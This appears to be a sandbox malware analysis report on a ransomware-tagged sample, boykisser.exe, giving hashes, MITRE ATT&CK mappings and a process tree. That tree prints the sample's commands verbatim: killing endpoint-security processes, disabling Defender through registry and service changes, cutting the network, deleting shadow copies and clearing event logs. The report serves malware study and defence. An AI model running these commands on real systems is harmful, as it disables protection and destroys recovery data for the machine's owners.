6227045afbcbcfe3b394dc39c6c3a0bf62f0800f26b0f36a0045902d567cf4f9

Analysis

user interaction
yes
max time kernel
1s
max time network
30s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 18:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
boykisser.exe
Size 7.3MB
Sample260628-xde19sct7p
SHA256 6227045afbcbcfe3b394dc39c6c3a0bf62f0800f26b0f36a0045902d567cf4f9
MD5 4db4d34fafec8f262bd180aa076f630e
SHA1 3f6dcdab417f4947ac4c8b225c0f0f7d42e078a4
SHA512 40692c67d5376defd04a5bdc27c11bb856c1b307252960a7112f78e1eb4e7169d1cef7ed47ce94da9575f90efe83699681960606a751f417ab586976e28e27f6
SSDEEP 196608:l+9GjydiNOk+nmV8+VBe2YKKRcJIJQinC:o9GjyRmV8+GPK8oiC
TLSH
T19E763371E4B45BC1E5660FF6C5E1BA67F0666FCD09DEA1663426099F0E31FA0DB28C80
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution impact ransomware upx

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
616	wevtutil.exe
1564	wevtutil.exe
1536	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
796	netsh.exe
4944	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5696-0-0x00007FF722F00000-0x00007FF723A39000-memory.dmp	upx
behavioral2/memory/5696-7-0x00007FF722F00000-0x00007FF723A39000-memory.dmp	upx
behavioral2/memory/2416-25-0x00007FF722F00000-0x00007FF723A39000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5364	sc.exe
5924	sc.exe
1668	sc.exe
4564	sc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3264	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2232	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
4308	taskkill.exe
696	taskkill.exe
4636	taskkill.exe
4560	taskkill.exe
2068	taskkill.exe
5936	taskkill.exe
3320	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1660	NOTEPAD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	taskkill.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5696 wrote to memory of 4308	5696	boykisser.exe	89
PID 5696 wrote to memory of 3496	5696	boykisser.exe	90

C:\Users\Admin\AppData\Local\Temp\boykisser.exe
"C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5696
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\boykisser.exe' -ArgumentList '--elevated' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3496
- - C:\Users\Admin\AppData\Local\Temp\boykisser.exe
    "C:\Users\Admin\AppData\Local\Temp\boykisser.exe" --elevated
    3⤵
    PID:2416
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      PID:696
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:3320
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:5936
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      PID:2068
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      PID:4560
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      PID:4636
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:5420
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:632
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:5736
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:4564
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5924
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:5364
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:796
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:4944
  - - C:\Windows\system32\ipconfig.exe
      "ipconfig" /release
      4⤵
      Gathers network information
      PID:3264
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Ethernet admin disabled
      4⤵
      PID:4272
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Wi-Fi admin disabled
      4⤵
      PID:824
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2232
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      PID:912
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:1564
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:616
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:1536

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\logs.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:1660

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 220B
SHA256 620d18ad459870038c95b2ac2c3b8c0317e75116831d11b3baef4c4dac9ee2df
MD5 1766e59ea56021ecbc124db884b862f2
SHA1 dca96592b8b26e93f7ec1e19be19ad66687394c3
SHA512 bfa2e13d58023013be651124a8257be2db247857c1f3786735b2d7d382a77fc4d4de0440b92fa6241bdd449dd1cf77dee72c33b219de0dfc393ff0b9430a2df4
TLSH
T190D0A9B78AAC800C8BF314FE89303A6B4C8AB2CD532000EA513A34B976504062BE33F0
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 423B
SHA256 5bee1ecc90dbe26d6fb1551643fee8ce6d5dc480b970080bb47ffb5027e5a15d
MD5 90b3be5bc35f091fdcf53c5d76817005
SHA1 f3d6f6e694a4bb8e9885a2eb29fc048bedb2cecc
SHA512 c954481043e14de67918ba9986bf98c0b30af1eb1f0fb7666fb22164b7b320b182753d00778c5d56b9772294f1f753da6914d1502af5e679247aec7c396e0fa9
TLSH
T12EE0E576C57DD0184B7210FBCFB026270C4B618C436010E5B13A30F93541D0617F63B0
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 981B
SHA256 2188f709e991a19c44eb14efa69eb9aeae9632dc35dbc857da6146d34c084fab
MD5 73b54bbe7e4883069a92b8b553a906b7
SHA1 468924555cd338b7121ec5c650c6b9d188bcecc9
SHA512 f1b2278a599be63accffc4d5051aec27600bdb74bcbb5e2bb4dd5403712e35488cd12b925df0eff163be87181fe4a583e2918ba6b4d29bfd794dc286740ffbb2
TLSH
T1D01153A2D87DC81C5B6162F79FB216AE0E2B518DAB201199F63734F4300B84A12F53B2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2416-25-0x00007FF722F00000-0x00007FF723A39000-memory.dmp

Download

memory/3496-18-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-21-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-12-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-16-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-15-0x000001B8C82E0000-0x000001B8C8302000-memory.dmp

Download

memory/3496-17-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-8-0x00007FF829ABF000-0x00007FF829AC0000-memory.dmp

Download

memory/3496-19-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-20-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-11-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-22-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-23-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-10-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-9-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/3496-27-0x00007FF829930000-0x00007FF82A2D4000-memory.dmp

Download

memory/5696-0-0x00007FF722F00000-0x00007FF723A39000-memory.dmp

Download

memory/5696-7-0x00007FF722F00000-0x00007FF723A39000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads